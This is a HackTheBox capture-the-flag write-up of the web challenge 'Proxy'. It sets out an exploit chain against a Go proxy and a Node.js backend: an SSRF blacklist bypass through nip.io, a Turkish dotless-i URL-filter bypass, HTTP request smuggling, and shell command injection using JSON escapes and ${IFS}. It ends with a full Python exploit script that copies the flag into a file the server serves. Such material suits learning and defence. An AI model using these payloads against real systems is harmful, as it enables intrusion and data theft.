← Back to Writeups
HTBN/AWeb

Proxy

XESXOR8/23/20267 min read
#web#htb#n/a

Proxy

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: command_injection, file_exfiltration, http_request_smuggling, ifs_bypass, ssrf_bypass, turkish_i_attack

Summary

A custom HTTP proxy written in Go that forwards requests to an internal Node.js backend. The goal is to exploit vulnerabilities to achieve command injection and read the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260129_hackthebox_proxy
  • Tags: unicode, command_injection, ssrf, nodejs, go, express, http_smuggling, proxy
  • Indicators: custom HTTP proxy, Go proxy with blacklist, strings.ToLower(), body splitting on CRLF, ip-wrapper package
  • Source: 20260129_hackthebox_proxy.md

Foothold

Vulnerability / Misconfiguration

  1. Command_injection
  2. File_exfiltration
  3. Http_request_smuggling
  4. Ifs_bypass
  5. Ssrf_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • command_injection
  • file_exfiltration
  • http_request_smuggling
  • ifs_bypass
  • ssrf_bypass
  • turkish_i_attack
  • Tags: unicode, command_injection, ssrf, nodejs, go, express, http_smuggling, proxy

Original Writeup

<details><summary>Click to expand original content</summary>

Proxy - HackTheBox

Description

A custom HTTP proxy written in Go that forwards requests to an internal Node.js backend. The goal is to exploit vulnerabilities to achieve command injection and read the flag.

Architecture:

  1. Go Proxy (port 1337): Custom HTTP proxy with SSRF protections and URL filtering
  2. Node.js Backend (port 5000): Express app with ip-wrapper package that has command injection vulnerability in /flushInterface endpoint

Analysis

Architecture Overview

The challenge presents a multi-layered architecture requiring multiple bypass techniques:

[Attacker] --> [Go Proxy :1337] --> [Node.js Backend :5000]
                   |                        |
            - SSRF blacklist          - /flushInterface
            - URL filter              - Command injection
            - Body filter               in ip-wrapper

Vulnerability Chain

To exploit this challenge, we need to bypass multiple security layers:

  1. SSRF Protection - Blacklist of internal IP addresses
  2. URL Filter - Blocks requests to /flushinterface
  3. Body Filter - Blocks dangerous characters in request body
  4. Backend Validation - Validates interface name format

1. SSRF Blacklist Analysis

The Go proxy blacklists common internal IP patterns in the Host header:

  • localhost
  • 0.0.0.0
  • 127. (prefix)
  • 172. (prefix)
  • 192. (prefix)
  • 10. (prefix)

Key observation: The blacklist checks for 192. (with dot), but DNS wildcard services like nip.io use dashes.

2. URL Filter Analysis

The proxy uses strings.ToLower() to normalize URLs before checking for blocked patterns:

if strings.Contains(strings.ToLower(url), "flushinterface") {
    // Block request
}

Key observation: Go's strings.ToLower() uses simple ASCII lowercasing, not Unicode-aware case folding.

3. Body Parsing Vulnerability

The proxy splits the request body on \r\n\r\n:

bodySplit = strings.Split(requestBytes, "\r\n\r\n")
// Only validates bodySplit[1] (first body segment)

Key observation: If we send multiple body segments, only the first is validated, but ALL raw bytes are forwarded to the backend.

4. Command Injection in ip-wrapper

The Node.js backend uses the ip-wrapper package which executes shell commands:

exec(`ip address flush dev ${interfaceName}`)

User input is directly interpolated into the shell command without proper sanitization.

Solution

Bypass 1: SSRF via nip.io DNS Wildcard

Problem: Proxy blacklists 192. prefix in Host header.

Solution: Use nip.io with dashes instead of dots:

  • 192-168-64-236.nip.io resolves to 192.168.64.236
  • The blacklist checks for 192. but our payload contains 192-
Host: 192-168-64-236.nip.io:5000

Bypass 2: Turkish I Attack (Unicode Case Folding)

Problem: Proxy blocks URLs containing "flushinterface" (case-insensitive).

Solution: Use Turkish dotless i (ı, U+0131):

  • /flushınterface (with dotless i)
  • Go's strings.ToLower("ı") returns ı (unchanged)
  • The lowercased URL /flushınterface does NOT contain "flushinterface"

Verification in Go:

package main
import (
    "fmt"
    "strings"
)
func main() {
    url := "/flushınterface"  // Turkish dotless i
    lowered := strings.ToLower(url)
    fmt.Println(lowered)  // Still "/flushınterface"
    fmt.Println(strings.Contains(lowered, "flushinterface"))  // false
}

Bypass 3: HTTP Request Smuggling

Problem: Even with Turkish I bypass, we need to reach the real /flushInterface endpoint.

Solution: Exploit the body splitting logic to smuggle a second request:

POST /flushınterface HTTP/1.1
Host: 192-168-64-236.nip.io:5000
Content-Type: application/json
Content-Length: 2

{}\r\n\r\nPOST /flushInterface HTTP/1.1
Host: 192-168-64-236.nip.io:5000
Content-Type: application/json
Content-Length: XX

{"interface":"..."}

How it works:

  1. Proxy sees body as {} (first segment after \r\n\r\n)
  2. Proxy validates {} - passes all filters
  3. Proxy forwards ALL raw bytes to Express
  4. Express processes the connection and sees TWO requests:
  • First: POST /flushınterface → 404 (endpoint doesn't exist)
  • Second: POST /flushInterface → Reaches vulnerable endpoint!

Bypass 4: Command Injection via JSON Escape Sequences

Problem: Body filter blocks newlines (\r\n|\r|\n), semicolons, pipes, etc.

Solution: Use JSON escape sequences:

  • Send literal \n (backslash + n) in HTTP body
  • Proxy sees no actual newline characters → passes filter
  • Express JSON parser converts \n to real newline
{"interface":"eth0\\ncat /flag.txt"}

In the HTTP body, this is: {"interface":"eth0\ncat /flag.txt"} (literal backslash-n)

After JSON parsing: eth0 + newline + cat /flag.txt

Command becomes:

ip address flush dev eth0
cat /flag.txt

Bypass 5: Space Bypass with ${IFS}

Problem: Backend validation rejects interface names containing spaces.

Solution: Use ${IFS} (Internal Field Separator) as space substitute:

  • cat${IFS}/flag.txt is equivalent to cat /flag.txt
  • No space character in the payload

Bypass 6: Blind Exfiltration via File Overwrite

Problem: No outbound network connectivity, stdout not returned in response.

Solution: Overwrite a file served by the proxy:

  • Proxy serves /app/proxy/includes/index.html at path /
  • Command: cp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html
  • Then request GET / to read the flag

Final Exploit

#!/usr/bin/env python3
"""
HackTheBox Proxy - Full Exploit Chain
Combines: SSRF bypass + Turkish I + HTTP Smuggling + Command Injection
"""
import socket
import time

TARGET = "94.237.123.185"
PORT = 45024

# Command injection payload - copy flag to web-served file
# Using ${IFS} as space substitute, \n for newline (JSON escape)
payload_body = b'{"interface":"lo\\ncp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html"}'

# First body segment (passes validation)
body1 = b'{}'

# Smuggled second request with real /flushInterface endpoint
second_req = (
    b"POST /flushInterface HTTP/1.1\r\n"
    b"Host: 192-168-64-236.nip.io:5000\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(len(payload_body)).encode() + b"\r\n"
    b"\r\n" + payload_body
)

# First request uses Turkish dotless i (\u0131) to bypass URL filter
# The proxy sees /flushınterface which doesn't match "flushinterface"
first_req = (
    f"POST /flush\u0131nterface HTTP/1.1\r\n"
    f"Host: 192-168-64-236.nip.io:5000\r\n"
    f"Content-Type: application/json\r\n"
    f"Content-Length: 2\r\n"
    f"\r\n"
).encode('utf-8')

# Combine: first request + body1 + CRLF separator + smuggled request
full_request = first_req + body1 + b"\r\n\r\n" + second_req

print("[*] Sending smuggled request with command injection...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect((TARGET, PORT))
sock.sendall(full_request)
response = sock.recv(4096)
print(f"[*] Response: {response[:200]}...")
sock.close()

# Wait for command execution
time.sleep(1)

# Read the flag from overwritten index.html
print("[*] Fetching flag from overwritten index.html...")
req2 = b"GET / HTTP/1.1\r\nHost: test.com:80\r\n\r\n"
sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock2.settimeout(10)
sock2.connect((TARGET, PORT))
sock2.sendall(req2)
response = sock2.recv(4096)
print("[+] Flag retrieved:")
print(response.decode())
sock2.close()

Attack Flow Diagram

1. SSRF Bypass
   192-168-64-236.nip.io → resolves to 192.168.64.236
   Bypasses: "192." blacklist (uses dash, not dot)

2. URL Filter Bypass (Turkish I)
   /flushınterface → ToLower() → /flushınterface
   Bypasses: "flushinterface" check (ı ≠ i)

3. HTTP Smuggling
   Body: {}\r\n\r\nPOST /flushInterface...
   Proxy validates: {} (clean)
   Backend receives: Two requests

4. Command Injection
   JSON: {"interface":"lo\\ncp${IFS}/flag.txt${IFS}/app/proxy/includes/index.html"}
   After parsing: lo\ncp /flag.txt /app/proxy/includes/index.html
   Shell executes: ip address flush dev lo; cp /flag.txt /app/proxy/includes/index.html

5. Exfiltration
   GET / → Returns overwritten index.html with flag content

Lessons Learned

  1. Custom HTTP parsers are dangerous - They often have subtle differences from standard implementations that can be exploited for smuggling attacks.

  2. Unicode handling in security filters is tricky - Simple ASCII case conversion (strings.ToLower() in Go) doesn't handle Unicode properly. Use Unicode-aware functions or normalize input before filtering.

  3. Blacklists are inherently incomplete - DNS wildcard services like nip.io can bypass IP blacklists. Consider using allowlists instead.

  4. Defense in depth matters - Even with multiple security layers, a chain of bypasses can defeat them all. Each layer should be robust independently.

  5. Blind exfiltration techniques - When network egress is blocked, file-based exfiltration (overwriting served files) is a powerful alternative.

  6. JSON parsing differences - The difference between literal \n in HTTP body and actual newline after JSON parsing can bypass body filters.

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR